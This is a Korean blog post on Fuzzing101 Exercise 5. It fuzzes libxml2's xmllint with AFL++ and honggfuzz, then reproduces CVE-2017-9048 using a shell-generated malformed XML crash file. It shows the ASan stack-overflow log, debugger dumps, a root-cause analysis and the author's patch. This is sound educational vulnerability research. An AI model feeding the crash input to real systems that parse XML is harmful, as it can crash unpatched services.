[Fuzzing101] Exercise 5

Sisyphus·2024년 11월 16일

Fuzzing101

목록 보기
5/7

Target

  • Libxml2
    • XML 파일을 파싱하고 처리하기 위한 C 라이브러리
  • xmllint
    • XML 파일을 파싱하고 검증하는 명령줄 도구
  • CVE-2017-9048
    • xmlSnprintfElementContent 함수에서 버퍼 크기 검사 없이 strcat을 사용하여 스택 기반 버퍼 오버플로우가 발생했습니다.


Build

Download libxml2

cd $HOME
mkdir Fuzzing_libxml2 && cd Fuzzing_libxml2
wget http://xmlsoft.org/download/libxml2-2.9.4.tar.gz
tar xvf libxml2-2.9.4.tar.gz && cd libxml2-2.9.4/

Build libxml2

sudo apt-get install python-dev
CC=afl-clang-lto CXX=afl-clang-lto++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-fsanitize=address" ./configure --prefix="$HOME/Fuzzing_libxml2/libxml2-2.9.4/install" --disable-shared --without-debug --without-ftp --without-http --without-legacy --without-python LIBS='-ldl'
make -j$(nproc)
make install

Test

./xmllint --memory ./test/wml.xml
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<wml>
  <card id="card1" title="Rubriques 75008">
        <p>
                <a href="rubmenu.asp?CP=75008&amp;RB=01">Cin&#xE9;ma</a><br/>
        </p>

</card>
</wml>


Prepare Fuzzing

Seed Corpus creation

mkdir afl_in && cd afl_in
wget https://raw.githubusercontent.com/antonio-morales/Fuzzing101/main/Exercise%205/SampleInput.xml
cd ..

Custom Dictionary

mkdir dictionaries && cd dictionaries
wget https://raw.githubusercontent.com/AFLplusplus/AFLplusplus/stable/dictionaries/xml.dict
cd ..


Fuzzing

AFLplusplus

export AFL_SKIP_CPUFREQ=1

# Master
afl-fuzz -m none -i ./afl_in -o afl_out -s 123 -x ./dictionaries/xml.dict -D -M master -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@

# Slaves
afl-fuzz -m none -i ./afl_in -o afl_out -s 234 -S slave1 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 345 -S slave2 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 456 -S slave3 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 567 -S slave4 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 678 -S slave5 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 789 -S slave6 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 890 -S slave7 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 901 -S slave8 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@
afl-fuzz -m none -i ./afl_in -o afl_out -s 012 -S slave9 -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude @@

  • 3일 6시간을 돌려도 크래시가 안 나왔습니다.

Honggfuzz

honggfuzz -n 8 -i ./input_dir -o ./output_dir -x -w ./dictionaries/xml.dict -- ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude ___FILE___

  • honggfuzz로 돌려보면
  • 이것도 크래시가 안나옵니다.

Crash File

oss-security - Invalid writes and reads in libxml2

  • 크래시가 없어서 구글링을 해서 크래시 파일을 찾았습니다.
s=$(printf "%-757s" "0")
t=$(printf "%-4924s" "0")
echo '<!DOCTYPEa[<!ELEMENT a (F'"${s// /0}:${t// /0}"')><!ATTLIST a><!ELEMENT b EMPTY><!ATTLIST b s CDATA #IMPLIED>]><a/>' > bug1.xml

Asan Log

❯ ./xmllint --memory --noenc --nocdata --dtdattr --loaddtd --valid --xinclude crash/bug1.xml
=================================================================
==182446==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc41bfb128 at pc 0x00000036a239 bp 0x7ffc41bf9cd0 sp 0x7ffc41bf9470
WRITE of size 4925 at 0x7ffc41bfb128 thread T0
    #0 0x36a238 in strcat (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x36a238)
    #1 0x591b92 in xmlSnprintfElementContent /home/ion/Fuzzing_libxml2/libxml2-2.9.4/valid.c:1279:3
    #2 0x5c7d57 in xmlValidateElementContent /home/ion/Fuzzing_libxml2/libxml2-2.9.4/valid.c:5445:6
    #3 0x5c7d57 in xmlValidateOneElement /home/ion/Fuzzing_libxml2/libxml2-2.9.4/valid.c:6152:12
    #4 0xa451ab in xmlSAX2EndElementNs /home/ion/Fuzzing_libxml2/libxml2-2.9.4/SAX2.c:2467:24
    #5 0x4c45d7 in xmlParseElement /home/ion/Fuzzing_libxml2/libxml2-2.9.4/parser.c:10203:3
    #6 0x4ed648 in xmlParseDocument /home/ion/Fuzzing_libxml2/libxml2-2.9.4/parser.c:10953:2
    #7 0x51b774 in xmlDoRead /home/ion/Fuzzing_libxml2/libxml2-2.9.4/parser.c:15432:5
    #8 0x3cf51f in xmlReadMemory /home/ion/Fuzzing_libxml2/libxml2-2.9.4/parser.c:15518:13
    #9 0x3cf51f in parseAndPrintFile /home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint.c:2371:9
    #10 0x3be5ab in main /home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint.c:3767:7
    #11 0x7f6a142f2082 in __libc_start_main /build/glibc-LcI20x/glibc-2.31/csu/../csu/libc-start.c:308:16
    #12 0x304e9d in _start (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x304e9d)

Address 0x7ffc41bfb128 is located in stack of thread T0 at offset 5128 in frame
    #0 0x5c12df in xmlValidateOneElement /home/ion/Fuzzing_libxml2/libxml2-2.9.4/valid.c:5943

  This frame has 5 object(s):
    [32, 82) 'fn.i' (line 5288)
    [128, 5128) 'expr.i' (line 5441)
    [5392, 10392) 'list.i' (line 5442) <== Memory access at offset 5128 partially underflows this variable
    [10656, 10660) 'extsubset' (line 5950)
    [10672, 10722) 'fn' (line 6063)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/ion/Fuzzing_libxml2/libxml2-2.9.4/xmllint+0x36a238) in strcat
Shadow bytes around the buggy address:
  0x1000083775d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000083775e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000083775f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100008377600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100008377610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100008377620: 00 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x100008377630: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
  0x100008377640: f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00
  0x100008377650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100008377660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x100008377670: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==182446==ABORTING
  • xmlSnprintfElementContent 함수 내의 strcat 함수에서 Stack-buffer-overflow가 발생했습니다.


Root Cause Analysis

xmlSnprintfElementContent

void
xmlSnprintfElementContent(char *buf, int size, xmlElementContentPtr content, int englob) {
    int len;

    if (content == NULL) return;
    len = strlen(buf);
    if (size - len < 50) {
	if ((size - len > 4) && (buf[len - 1] != '.'))
	    strcat(buf, " ...");
	return;
    }
    if (englob) strcat(buf, "(");
    switch (content->type) {
        case XML_ELEMENT_CONTENT_PCDATA:
            strcat(buf, "#PCDATA");
	    break;
	case XML_ELEMENT_CONTENT_ELEMENT:
	    if (content->prefix != NULL) {
		if (size - len < xmlStrlen(content->prefix) + 10) {
		    strcat(buf, " ...");
		    return;
		}
		strcat(buf, (char *) content->prefix);
		strcat(buf, ":");
	    }
	    if (size - len < xmlStrlen(content->name) + 10) {
		strcat(buf, " ...");
		return;
	    }
	    if (content->name != NULL)
		strcat(buf, (char *) content->name);
	    break;
  • bufcontent->name 을 이어 붙이는 과정에서 BOF가 발생했습니다.
  • buf 의 크기를 봐보면

	    char expr[5000];
	    char list[5000];

	    expr[0] = 0;
	    xmlSnprintfElementContent(&expr[0], 5000, cont, 1);
  • 5000 바이트입니다.

strcat 을 하기 전 buf 값과 content->name 값을 봐보면

pwndbg> x/96gx 0x7fffffff8320
0x7fffffff8320: 0x3030303030304628      0x3030303030303030
0x7fffffff8330: 0x3030303030303030      0x3030303030303030
0x7fffffff8340: 0x3030303030303030      0x3030303030303030
0x7fffffff8350: 0x3030303030303030      0x3030303030303030
...
...
...
0x7fffffff85c0: 0x3030303030303030      0x3030303030303030
0x7fffffff85d0: 0x3030303030303030      0x3030303030303030
0x7fffffff85e0: 0x3030303030303030      0x3030303030303030
0x7fffffff85f0: 0x3030303030303030      0x3030303030303030
0x7fffffff8600: 0x3030303030303030      0x3030303030303030
0x7fffffff8610: 0x3a30303030303030      0x0000000000000000
  • x/gx 당 8바이트가 출력되기 때문에 95 * 8을 하면 760 바이트가 됩니다.
  • buf 는 최종적으로 760 바이트가 됩니다.

pwndbg> x/616gx 0x62a000001b53
0x62a000001b53: 0x3030303030303030      0x3030303030303030
0x62a000001b63: 0x3030303030303030      0x3030303030303030
0x62a000001b73: 0x3030303030303030      0x3030303030303030
0x62a000001b83: 0x3030303030303030      0x3030303030303030
0x62a000001b93: 0x3030303030303030      0x3030303030303030
0x62a000001ba3: 0x3030303030303030      0x3030303030303030
...
...
...
0x62a000002e23: 0x3030303030303030      0x3030303030303030
0x62a000002e33: 0x3030303030303030      0x3030303030303030
0x62a000002e43: 0x3030303030303030      0x3030303030303030
0x62a000002e53: 0x3030303030303030      0x3030303030303030
0x62a000002e63: 0x3030303030303030      0x3030303030303030
0x62a000002e73: 0x3030303030303030      0x3030303030303030
0x62a000002e83: 0x3030303030303030      0x7300620030303030
  • x/gx 당 8 바이트가 출력되기 때문에 615를하면 8 * 615를 해서 4920 바이트가 출력됩니다.
  • 여기서 0x30 이 4 바이트 출력되고 0x00 이 나오기 때문에 최종적으로 content->name4924 바이트가 됩니다.

➡️ 최종적으로 buf 에 들어가는 데이터의 크기는 760 + 4924 가 되서 5684 바이트가 됩니다.

➡️ 하지만 buf 의 크기는 5000 바이트이기 때문에 Buffer Overflow가 발생하게 됩니다.



Patch

Patch

strcat 함수로 문자열을 이어 붙이기 전에 이어 붙인 후 문자열의 길이가 buf 의 크기인 5000 바이트 이상인지 체크하는 방식으로 패치를 하면 됩니다.


xmlSnprintfElementContent

void
xmlSnprintfElementContent(char * buf, int size, xmlElementContentPtr content, int englob) {
    int len;

    if (content == NULL) return;
    len = strlen(buf);
    if (size - len < 50) {
      if ((size - len > 4) && (buf[len - 1] != '.'))
        strcat(buf, " ...");
      return;
    }
    if (englob) strcat(buf, "(");
    switch (content -> type) {
    case XML_ELEMENT_CONTENT_PCDATA:
      strcat(buf, "#PCDATA");
      break;
    case XML_ELEMENT_CONTENT_ELEMENT:
      if (content -> prefix != NULL) {
        if (size - len < xmlStrlen(content -> prefix) + 10) {
          strcat(buf, " ...");
          return;
        }
        strcat(buf, (char * ) content -> prefix);
        strcat(buf, ":");
      }
      if (size - len < xmlStrlen(content -> name) + 10) {
        strcat(buf, " ...");
        return;
      }
      if (content -> name != NULL) {
        int bufLen = strlen(buf);
        int nameLen = strlen(content->name);
        
        if (bufLen + nameLen >= 5000) {
            printf("Stack Overflow!\n");
            exit(1);
        }
        
        strcat(buf, (char * ) content -> name);
      }
      break;
  • buf 의 길이와 content->name 의 길이를 합쳤을 때 5000 이상이면 프로그램을 종료하도록 패치하였습니다.

0개의 댓글